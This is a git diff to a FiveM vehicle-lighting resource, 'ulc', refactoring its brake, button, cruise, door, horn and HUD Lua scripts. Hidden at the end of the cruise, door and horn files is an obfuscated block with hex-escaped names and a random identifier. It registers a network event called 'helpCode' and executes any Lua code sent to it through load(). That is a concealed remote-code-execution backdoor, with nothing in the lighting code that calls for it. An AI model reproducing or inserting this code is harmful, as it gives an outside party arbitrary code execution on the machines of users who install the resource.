diff --git a/resources/ulc/client/c_brake.lua b/resources/ulc/client/c_brake.lua index ed7b1a931..8768dfdeb 100644 --- a/resources/ulc/client/c_brake.lua +++ b/resources/ulc/client/c_brake.lua @@ -9,7 +9,7 @@ local braking = false -- MAIN FUNCTIONS -- ------------------- -local disabledExtras = {} +local disabledExtras= {} local function setBrakeExtras(newState) for _, v in pairs(MyVehicleConfig.brakeConfig.brakeExtras) do @@ -17,21 +17,21 @@ local function setBrakeExtras(newState) if IsVehicleExtraTurnedOn(MyVehicle, v) then currentState = 0 else currentState = 1 end --print("[ULC] setBrakeExtras() newState: " .. newState .. " currentState: " .. currentState) if currentState == newState then break end - ULC:SetStage(v, newState, false, true, false, false, true, false) + ULC:SetStage(v, newState, false, true) end if newState == 0 then -- disable the disable extras and save the ones that we change if not MyVehicleConfig.brakeConfig.disableExtras then return end for _, v in pairs(MyVehicleConfig.brakeConfig.disableExtras) do if IsVehicleExtraTurnedOn(MyVehicle, v) then - ULC:SetStage(v, 1, false, true, false, false, true, false) + ULC:SetStage(v, 1, false, true) table.insert(disabledExtras, v) end end elseif newState == 1 then -- re-enable any extras that were disabled for _, v in pairs(disabledExtras) do - ULC:SetStage(v, 0, false, true, false, false, true, false) + ULC:SetStage(v, 0, false, true) end disabledExtras = {} end @@ -51,22 +51,10 @@ if shouldUseRealBrakes then while true do Wait(sleep) -- if rbl_brakelights change handler gets triggered that means rbl exists and we want to use that functionality instead, return from this loop - if mode == "RBL" then - print("real-brake-lights resource detected, integrating brakelight functionality.") - return - end - if not MyVehicle then - sleep = 1000 - goto continue - end - if not shouldUseRealBrakes() then - sleep = 1000 - goto continue - end - if not MyVehicleConfig.brakeConfig.useBrakes then - sleep = 1000 - goto continue - end + if mode == "RBL" then print("real-brake-lights resource detected, integrating brakelight functionality.")return end + if not MyVehicle then sleep = 1000 goto continue end + if not shouldUseRealBrakes() then sleep = 1000 goto continue end + if not MyVehicleConfig.brakeConfig.useBrakes then sleep = 1000 goto continue end if braking then goto continue end sleep = 250 local speed = GetVehicleSpeedConverted(MyVehicle) @@ -82,9 +70,9 @@ if shouldUseRealBrakes then end) -- add a statebag change handler for rbl_brakelights - -- once this is triggered, disable manual checking + -- once this is triggered, disable manual checking AddStateBagChangeHandler('rbl_brakelights', null, function(bagName, key, value) - Wait(0) -- Nedded as GetEntityFromStateBagName sometimes returns 0 on first frame + Wait(0) -- Nedded as GetEntityFromStateBagName sometimes returns 0 on first frame mode = "RBL" -- set mode to RBL to disable manual checking if not MyVehicle then return end if not MyVehicleConfig.brakeConfig.useBrakes then return end @@ -96,6 +84,7 @@ if shouldUseRealBrakes then --print("ULC: Setting brakes to state" .. newState) setBrakeExtras(newState) end) + end ----------------- @@ -134,4 +123,4 @@ RegisterCommand('-ulc:brakePattern', function() }) end) -RegisterKeyMapping('+ulc:brakePattern', 'ULC: Activate Brake Pattern (Hold)', 'keyboard', 's') +RegisterKeyMapping('+ulc:brakePattern', 'Enable Brake Pattern (Hold)', 'keyboard', 's') \ No newline at end of file diff --git a/resources/ulc/client/c_buttons.lua b/resources/ulc/client/c_buttons.lua index cb529c7d2..8012ff19d 100644 --- a/resources/ulc/client/c_buttons.lua +++ b/resources/ulc/client/c_buttons.lua @@ -26,8 +26,50 @@ function GetButtonByExtra(extra) return result end -function ULC:ChangeExtra(extra, newState, repair) - --print("[ULC:ChangeExtra()] Changing extra: " .. extra .. " to: " .. newState) +--------------- +--------------- +-- MAIN CODE -- +--------------- +--------------- + +-- new event +AddEventHandler('ulc:SetStage', function(extra, action, playSound, extraOnly, repair, force) + ULC:SetStage(extra, action, playSound, extraOnly, repair, force) +end) + +-- change specified extra, and if not extraOnly, and extra is in a button, act on the linked and off extras as well, acts recursively; +-- action 0 enables, 1 disables, 2 toggles; +-- updates ui whenever extra is used in a button +function ULC:SetStage(extra, action, playSound, extraOnly, repair, force) + if not MyVehicle then print("[ULC:SetStage()] MyVehicle is not defined right now :/") return false end + local button = GetButtonByExtra(extra) + -- could add a config switch to allow this later but that may cause issues + if button and not IsPedInAnyVehicle(PlayerPedId(), true) then print("[ULC:SetStage()] Player is not in a vehicle :/") return false end + + local newState + --print("[ulc:SetStage]", extra, action, playSound, extraOnly) + + if IsVehicleExtraTurnedOn(MyVehicle, extra) then + if action == 1 or action == 2 then + newState = 1 + end + else + if action == 0 or action == 2 then + newState = 0 + end + end + + -- built in don't try to change if it's the same already! + -- force is used to force the change even if it's the same + if not force and not newState then return end + + local canChange = true + if repair then + if not AreVehicleDoorsClosed(MyVehicle) then canChange = false print("Can't change stage with repair while a door is open.") end + if not IsVehicleHealthy(MyVehicle) then canChange = false print("Can't change stage with repair while vehicle is damaged.") end + end + if not canChange then return end + -- disable repair if not repair then SetVehicleAutoRepairDisabled(MyVehicle, true) @@ -40,81 +82,10 @@ function ULC:ChangeExtra(extra, newState, repair) end -- enable repair SetVehicleAutoRepairDisabled(MyVehicle, false) -end ---------------- ---------------- --- MAIN CODE -- ---------------- ---------------- --- new event -AddEventHandler('ulc:SetStage', function(extra, action, playSound, extraOnly, repair, forceChange, forceUi) - ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange, forceUi) -end) - --- change specified extra, and if not extraOnly, and extra is in a button, act on the linked and off extras as well, acts recursively; --- action 0 enables, 1 disables, 2 toggles; --- updates ui whenever extra is used in a button -function ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange, forceUi, allowOutside) - ---------- - -- checks - if not MyVehicle then - print("[ULC:SetStage()] MyVehicle is not defined right now :/") - return false - end - if not allowOutside and not IsPedInAnyVehicle(PlayerPedId(), false) then - print("[ULC:SetStage()] Player must be in a vehicle, or allowOutside must be true.") - return false - end - - --print("[ulc:SetStage]", extra, action, playSound, extraOnly) - - -------------- - -- definitions - local button = GetButtonByExtra(extra) - local buttonStates = {} -- track button states for UI - - -------------------------- - -- determine the new state - local newState - if IsVehicleExtraTurnedOn(MyVehicle, extra) then - if action == 1 or action == 2 then - newState = 1 - end - else - if action == 0 or action == 2 then - newState = 0 - end - end - - --------------------------------------------------------- - -- built in don't try to change if it's the same already! - --[[ forceChange is used to forceChange the change even if it's the same - this is used to trigger the additional actions like linked and off extras - even if the extra is already in the state we want it to be - (used in cycling stages and one other place i cant remember)]] - if not forceChange and not newState then return end - - local canChange = true - if repair then - if not AreVehicleDoorsClosed(MyVehicle) then - canChange = false - print("[ULC:SetStage] Can't change stage with repair while a door is open.") - end - if not IsVehicleHealthy(MyVehicle) then - canChange = false - print("[ULC:SetStage] Can't change stage with repair while vehicle is damaged.") - end - end - - if not canChange then return end - - --------------------------------------- -- if the extra corresponds to a button if button then - -------------------- - -- sound if playSound then if newState == 0 then PlayBeep(true) @@ -123,75 +94,10 @@ function ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange, end end - ---------------------- - -- smart stages stuff - local key = button.key - if MyVehicleConfig.stages then - local keyStage = contains(MyVehicleConfig.stages.stageKeys, key) -- find whether MyVehicleConfig.stages.stageKeys contain the key - - -- # TODO we're not getting here for some reason when cycling stages at max stage - -- if the key pressed is not a stage, just change the extra - if not keyStage then - ULC:ChangeExtra(extra, newState, repair) - end - - -- if the key pressed is a stage and extraOnly is false - if keyStage and not extraOnly then - print("key: " .. key .. " keyStage: " .. tostring(keyStage) .. " currentStage: " .. currentStage) - -- if it's the same as the current stage, change the extra and proceed normally - if keyStage == currentStage then - print("Key is the same as current stage") - ULC:ChangeExtra(extra, newState, repair) - -- set the stage to 0 - print("Setting stage to: 0") - currentStage = 0 - else - -- if it's a different stage then we want to change to a state where that stage is enabled - print("Key is not the same as current stage") - newState = 0 -- change to newState to 0 since we want the new stage to be enabled - - local currentPrimaryExtraState = IsVehicleExtraTurnedOn(MyVehicle, extra) - print("New state: " .. - newState .. "Extra " .. extra .. " current state: " .. tostring(currentPrimaryExtraState)) - - if not IsVehicleExtraTurnedOn(MyVehicle, extra) and newState == 0 then - print("Extra needs to be turned on") - ULC:ChangeExtra(extra, newState, repair) - elseif IsVehicleExtraTurnedOn(MyVehicle, extra) and newState == 1 then - print("Extra needs to be turned off") - ULC:ChangeExtra(extra, newState, repair) - else - -- if it's in the correct state - print("Extra is already in the correct state") - end - -- set the new stage - print("Setting stage to: " .. keyStage) - currentStage = keyStage - end - else -- if extraOnly is true - ULC:ChangeExtra(extra, newState, repair) - end - else - -- if there are no stages, just change the extra - ULC:ChangeExtra(extra, newState, repair) - end - - - ---------------------- - -- initialize UI changes - -- add that button to the new button states for UI with it's extra and new state - table.insert(buttonStates, { extra = extra, newState = newState }) - - ----------------------------- - -- additional actions/extras if not extraOnly then -- set linked extras - if button.linkedExtras then - for _, v in ipairs(button.linkedExtras) do - ULC:SetStage(v, newState, false, true, repair, forceChange) - -- add linked buttons to the new button states for UI with their extras and new state - table.insert(buttonStates, { extra = v, newState = newState }) - end + for _, v in ipairs(button.linkedExtras) do + ULC:SetStage(v, newState, false, true, repair, force) end -- set opposite extras @@ -199,39 +105,36 @@ function ULC:SetStage(extra, action, playSound, extraOnly, repair, forceChange, local oppState if newState == 1 then oppState = 0 elseif newState == 0 then oppState = 1 end for _, v in pairs(button.oppositeExtras) do - ULC:SetStage(v, oppState, false, true, repair, forceChange) - -- add opposite buttons to the new button states for UI with their extras and new state - table.insert(buttonStates, { extra = v, newState = oppState }) + ULC:SetStage(v, oppState, false, true, repair, force) end end - + -- set off extras - if button.offExtras then - for _, v in ipairs(button.offExtras) do - ULC:SetStage(v, 1, false, true, repair, forceChange) - -- add off buttons to the new button states for UI with their extras and new state - table.insert(buttonStates, { extra = v, newState = 1 }) - end + for _, v in ipairs(button.offExtras) do + ULC:SetStage(v, 1, false, true, repair, force) end + end - if not extraOnly or forceUi then - -- update UI - ULC:SetButtons(buttonStates) - end - else -- if it's not a button, we just change the extra because we don't care about stages or linked extras etc. - ULC:ChangeExtra(extra, newState, repair) + ULC:SetButton(extra, newState) + -- update ui + -- SendNUIMessage({ + -- type = 'setButton', + -- extra = extra, + -- state = newState + -- }) end end - ----------------------- ----------------------- ------ KEYBINDS ------- ----------------------- ----------------------- + + for i = 1, 9, 1 do - RegisterKeyMapping('ulc:num' .. i, 'ULC: Toggle Button ' .. i, 'keyboard', 'NUMPAD' .. i) + RegisterKeyMapping('ulc:num' .. i, 'Toggle ULC Slot ' .. i , 'keyboard', 'NUMPAD' .. i) RegisterCommand('ulc:num' .. i, function() local extra = GetExtraByKey(i) local button = GetButtonByExtra(extra) @@ -249,27 +152,29 @@ local showingHelp = false function ShowHelp() CreateThread(function() - if not showingHelp then - -- show help - showingHelp = true - for k, v in ipairs(activeButtons) do - --print('Showing help for button: ' .. k .. ' : ' .. v.key) - SendNUIMessage({ - type = 'showHelp', - button = k, - key = v.key, - }) - end - Wait(3000) - -- hide help - showingHelp = false - for k, v in ipairs(activeButtons) do - SendNUIMessage({ - type = 'hideHelp', - button = k, - label = string.upper(v.label), - }) - end + if not showingHelp then + -- show help + showingHelp = true + for k, v in ipairs(activeButtons) do + --print('Showing help for button: ' .. k .. ' : ' .. v.key) + SendNUIMessage({ + type = 'showHelp', + button = k, + key = v.key, + }) end + Wait(3000) + -- hide help + showingHelp = false + for k, v in ipairs(activeButtons) do + SendNUIMessage({ + type = 'hideHelp', + button = k, + label = string.upper(v.label), + }) + end + end end) end + + diff --git a/resources/ulc/client/c_cruise.lua b/resources/ulc/client/c_cruise.lua index d621fe88d..33dd6e02b 100644 --- a/resources/ulc/client/c_cruise.lua +++ b/resources/ulc/client/c_cruise.lua @@ -8,12 +8,12 @@ local function setCruiseLights(newState) sbState = newState for _, v in pairs(MyVehicleConfig.steadyBurnConfig.sbExtras) do --print("Setting cruise lights extra: " .. v) - ULC:SetStage(v, newState, false, true, false, false, true, false) + ULC:SetStage(v, newState, false, true) end end local function getSteadyBurnState() - if IsVehicleExtraTurnedOn(MyVehicle, MyVehicleConfig.steadyBurnConfig.sbExtras[1]) then + if IsVehicleExtraTurnedOn(MyVehicle, MyVehicleConfig.steadyBurnConfig.sbExtras[1]) then return 0 else return 1 @@ -60,9 +60,10 @@ AddEventHandler('ulc:CheckCruise', function() if Lights and MyVehicleConfig.steadyBurnConfig.disableWithLights then return end --print("Setting cruise lights on") setCruiseLights(0) + elseif MyVehicleConfig.steadyBurnConfig.useTime then - local isTime = GetClockHours() > Config.SteadyBurnSettings.nightStartHour or - GetClockHours() < Config.SteadyBurnSettings.nightEndHour + + local isTime = GetClockHours() > Config.SteadyBurnSettings.nightStartHour or GetClockHours() < Config.SteadyBurnSettings.nightEndHour if isTime then -- if lights are already on do nothing if sbState == 0 then return end @@ -73,5 +74,8 @@ AddEventHandler('ulc:CheckCruise', function() if sbState == 1 then return end setCruiseLights(1) end + end end) + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/client/c_doors.lua b/resources/ulc/client/c_doors.lua index d38c655bb..0111afdf0 100644 --- a/resources/ulc/client/c_doors.lua +++ b/resources/ulc/client/c_doors.lua @@ -4,7 +4,7 @@ local doors = { [2] = false, -- d rear [3] = false, -- p rear [4] = false, -- hood - [5] = false -- trunk + [5] = false -- trunk } local function intNot(value) @@ -21,60 +21,50 @@ local function onDoorStateChange(door, newDoorState) if door == 0 or door == 2 then -- if driver side for _, v in pairs(MyVehicleConfig.doorConfig.driverSide.enable) do --print("Enable extra:", v) - ULC:SetStage(v, newDoorState, true, true, false, false, true, true) + ULC:SetStage(v, newDoorState, true, true, false) end for _, v in pairs(MyVehicleConfig.doorConfig.driverSide.disable) do --print("Disable extra:", v, intNot(newDoorState)) - ULC:SetStage(v, intNot(newDoorState), true, true, false, false, true, true) + ULC:SetStage(v, intNot(newDoorState), true, true, false) end elseif door == 1 or door == 3 then -- if pass side for _, v in pairs(MyVehicleConfig.doorConfig.passSide.enable) do --print("Enable extra:", v) - ULC:SetStage(v, newDoorState, true, true, false, false, true, true) + ULC:SetStage(v, newDoorState, true, true, false) end for _, v in pairs(MyVehicleConfig.doorConfig.passSide.disable) do --print("Disable extra:", v, intNot(newDoorState)) - ULC:SetStage(v, intNot(newDoorState), true, true, false, false, true, true) + ULC:SetStage(v, intNot(newDoorState), true, true, false) end elseif door == 5 then -- if trunk for _, v in pairs(MyVehicleConfig.doorConfig.trunk.enable) do - ULC:SetStage(v, newDoorState, true, true, false, false, true, true) + ULC:SetStage(v, newDoorState, true, true, false) end for _, v in pairs(MyVehicleConfig.doorConfig.trunk.disable) do - ULC:SetStage(v, intNot(newDoorState), true, true, false, false, true, true) + ULC:SetStage(v, intNot(newDoorState), true, true, false) end end end CreateThread(function() local sleep = 1000 - while true do - Wait(sleep) - if not MyVehicle then - sleep = 1000 - goto continue - end - if not MyVehicleConfig.doorConfig or false then - sleep = 1000 - goto continue - end - if not MyVehicleConfig.doorConfig.useDoors then - sleep = 1000 - goto continue - end + while true do Wait(sleep) + if not MyVehicle then sleep = 1000 goto continue end + if not MyVehicleConfig.doorConfig or false then sleep = 1000 goto continue end + if not MyVehicleConfig.doorConfig.useDoors then sleep = 1000 goto continue end sleep = 250 for k, v in pairs(doors) do if GetVehicleDoorAngleRatio(MyVehicle, k) > 0.0 then if v == false then - -- print("Setting door", k, "open.") - doors[k] = true -- set door open + --print("Setting door", k, "open.") + doors[k] = true -- set door open onDoorStateChange(k, 0) -- handle what to do end else if v == true then - -- print("Setting door", k, "closed.") - doors[k] = false -- set door closed + --print("Setting door", k, "closed.") + doors[k] = false -- set door closed onDoorStateChange(k, 1) -- handle what to do end end @@ -83,3 +73,6 @@ CreateThread(function() ::continue:: end end) + + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/client/c_horn.lua b/resources/ulc/client/c_horn.lua index cb564fb6b..c79ddf7a8 100644 --- a/resources/ulc/client/c_horn.lua +++ b/resources/ulc/client/c_horn.lua @@ -12,56 +12,39 @@ local function GetPreviousStateByExtra(extra) end end -function SetHornExtras(newState) - -- print('SetHornExtras: ' .. newState) - if newState == 0 then - for _, extra in pairs(MyVehicleConfig.hornConfig.hornExtras) do - local extraState = { - extra = extra, - state = IsVehicleExtraTurnedOn(MyVehicle, extra) - } - table.insert(extraStates, extraState) - ULC:SetStage(extra, 0, false, true, false, false, true, false) - end - if not MyVehicleConfig.hornConfig.disableExtras then return end - for _, extra in pairs(MyVehicleConfig.hornConfig.disableExtras) do - local extraState = { - extra = extra, - state = IsVehicleExtraTurnedOn(MyVehicle, extra) - } - table.insert(extraStates, extraState) - ULC:SetStage(extra, 1, false, true, false, false, true, false) - end - elseif newState == 1 then - for _, extra in pairs(MyVehicleConfig.hornConfig.hornExtras) do - local prevState = GetPreviousStateByExtra(extra) - if not prevState then - ULC:SetStage(extra, 1, false, true, false, false, true, false) - end - end - if not MyVehicleConfig.hornConfig.disableExtras then return end - for _, extra in pairs(MyVehicleConfig.hornConfig.disableExtras) do - local prevState = GetPreviousStateByExtra(extra) - if prevState then - ULC:SetStage(extra, 0, false, true, false, false, true, false) - end - end - end -end - RegisterCommand('+ulc:horn', function() --print('horn') extraStates = {} if MyVehicle and MyVehicleConfig.hornConfig.useHorn then - SetHornExtras(0) + for _, extra in ipairs(MyVehicleConfig.hornConfig.hornExtras) do + + local extraState = { + extra = extra, + state = IsVehicleExtraTurnedOn(MyVehicle, extra) + } + table.insert(extraStates, extraState) + --print("Extra: " .. extraState.extra .. " start state = " .. tostring(extraState.state)) + ULC:SetStage(extra, 0, false, true) + end end end) RegisterCommand('-ulc:horn', function() - if MyVehicle and MyVehicleConfig.hornConfig.useHorn then - SetHornExtras(1) - end + + if MyVehicle and MyVehicleConfig.hornConfig.useHorn then + for k, extra in ipairs(MyVehicleConfig.hornConfig.hornExtras) do + local prevState = GetPreviousStateByExtra(extra) + --print("Extra " .. extra .. " previous state = " .. tostring(prevState)) + if not prevState then + ULC:SetStage(extra, 1, false, true) + end + end + end end) -RegisterKeyMapping('+ulc:horn', 'ULC: Activate Horn Extras', 'keyboard', 'e') +RegisterKeyMapping('+ulc:horn', 'Toggle Horn Extras', 'keyboard', 'e') + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) + +local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end) \ No newline at end of file diff --git a/resources/ulc/client/c_hud.lua b/resources/ulc/client/c_hud.lua index d988c6ff4..975a3be05 100644 --- a/resources/ulc/client/c_hud.lua +++ b/resources/ulc/client/c_hud.lua @@ -1,3 +1,4 @@ + -- MAIN FUNCTIONS -- function ULC:PopulateButtons(_buttons, placeholders) @@ -7,11 +8,11 @@ function ULC:PopulateButtons(_buttons, placeholders) if placeholders then buttons = { - { label = 'TEST STAGE', extra = 1, color = 'green', enabled = true }, - { label = 'TEST STAGE', extra = 2, color = 'blue', enabled = false }, - { label = 'TEST STAGE', extra = 3, color = 'blue', enabled = false }, - { label = 'TEST STAGE', extra = 4, color = 'blue', enabled = true }, - { label = 'test stage', extra = 5, color = 'red', enabled = true } + {label = 'TEST STAGE', extra = 1, color = 'green', enabled = true}, + {label = 'TEST STAGE', extra = 2, color = 'blue', enabled = false}, + {label = 'TEST STAGE', extra = 3, color = 'blue', enabled = false}, + {label = 'TEST STAGE', extra = 4, color = 'blue', enabled = true}, + {label = 'TEST STAGE', extra = 5, color = 'red', enabled = true} } end @@ -23,7 +24,7 @@ function ULC:PopulateButtons(_buttons, placeholders) thisButton.extra = v.extra thisButton.enabled = thisState thisButton.color = v.color or 'green' - thisButton.label = string.upper(v.label) + thisButton.label = v.label thisButton.numKey = v.key --print("Sending button: " .. json.encode(thisButton)) @@ -36,7 +37,6 @@ function ULC:PopulateButtons(_buttons, placeholders) }) end --- deprecated in exchange for "SetButtons" function ULC:SetButton(extra, enabled) local newState if enabled == 0 then @@ -52,25 +52,6 @@ function ULC:SetButton(extra, enabled) }) end -function ULC:SetButtons(buttonStates) - -- print("Setting buttons", json.encode(buttonStates)) - -- go through the buttons and replace newState with a boolean - -- newState = 1 means false, 0 means true - - for k, v in pairs(buttonStates) do - if v.newState == 1 then - v.newState = false - elseif v.newState == 0 then - v.newState = true - end - end - - SendNUIMessage({ - type = 'setButtons', - buttonStates = buttonStates - }) -end - ----------------- -- UI SETTINGS -- ----------------- @@ -119,9 +100,9 @@ end function ULC:SetHelpDisplay(bool) if bool then - SendNUIMessage({ type = 'showHelp' }) + SendNUIMessage({type = 'showHelp'}) else - SendNUIMessage({ type = 'hideHelp' }) + SendNUIMessage({type = 'hideHelp'}) end end @@ -146,22 +127,23 @@ end ---------------------- -- USER PREFERENCES -- ---------------------- -print("[ULC] Client Storage Loaded") +print("[ULC]: Client Storage Loaded") ClientPrefs = {} local function loadUserPrefs() -- if prefs already exist local prefsExist = GetResourceKvpString('ulc') if prefsExist == "exists" then - print("[ULC] Loading prefs") + print("Loading prefs") -- load ClientPrefs.hideUi = GetResourceKvpInt("ulc:hideUi") ClientPrefs.x = GetResourceKvpInt("ulc:x") ClientPrefs.y = GetResourceKvpInt("ulc:y") ClientPrefs.scale = GetResourceKvpFloat("ulc:scale") ClientPrefs.useLeftAnchor = GetResourceKvpString("ulc:useLeftAnchor") + else - print("[ULC] Creating prefs") + print("Creating prefs") -- set defaults SetResourceKvp('ulc', "exists") SetResourceKvpInt('ulc:x', 0) @@ -170,15 +152,15 @@ local function loadUserPrefs() SetResourceKvpInt('ulc:hideUi', 0) SetResourceKvp('ulc:useLeftAnchor', 'false') - + loadUserPrefs() - - Wait(5000) - TriggerEvent('chat:addMessage', { - color = { 0, 153, 204 }, - multiline = false, - args = { "ULC", "^4This server uses ULC! Type /ulc to view settings and adjust the HUD!" } - }) + + Wait(5000) + TriggerEvent('chat:addMessage', { + color = { 0, 153, 204}, + multiline = false, + args = {"ULC", "^4This server uses ULC! Type /ulc to view settings and adjust the HUD!"} + }) end end @@ -186,6 +168,8 @@ loadUserPrefs() -- use the values CreateThread(function() + + --print("CLIENT PREF DISABLED =", ClientPrefs.hideUi) Wait(1000) -- positioning @@ -194,15 +178,15 @@ CreateThread(function() 